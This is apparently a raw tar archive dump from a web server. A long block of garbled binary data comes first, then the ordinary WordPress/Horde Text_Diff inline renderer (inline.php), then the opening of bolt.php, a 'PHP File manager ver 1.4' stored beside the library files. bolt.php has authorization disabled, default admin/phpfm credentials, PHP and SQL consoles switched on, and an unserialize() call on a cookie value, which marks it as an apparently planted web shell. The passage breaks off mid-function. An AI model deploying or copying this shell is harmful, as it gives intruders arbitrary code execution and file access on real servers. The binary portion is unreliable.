-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) <                                                                                        inline.php                                                                                          0000644                 00000012630 15217301621 0006533 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                        bolt.php                                                                                            0000644                 00000232745 15217301621 0006230 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
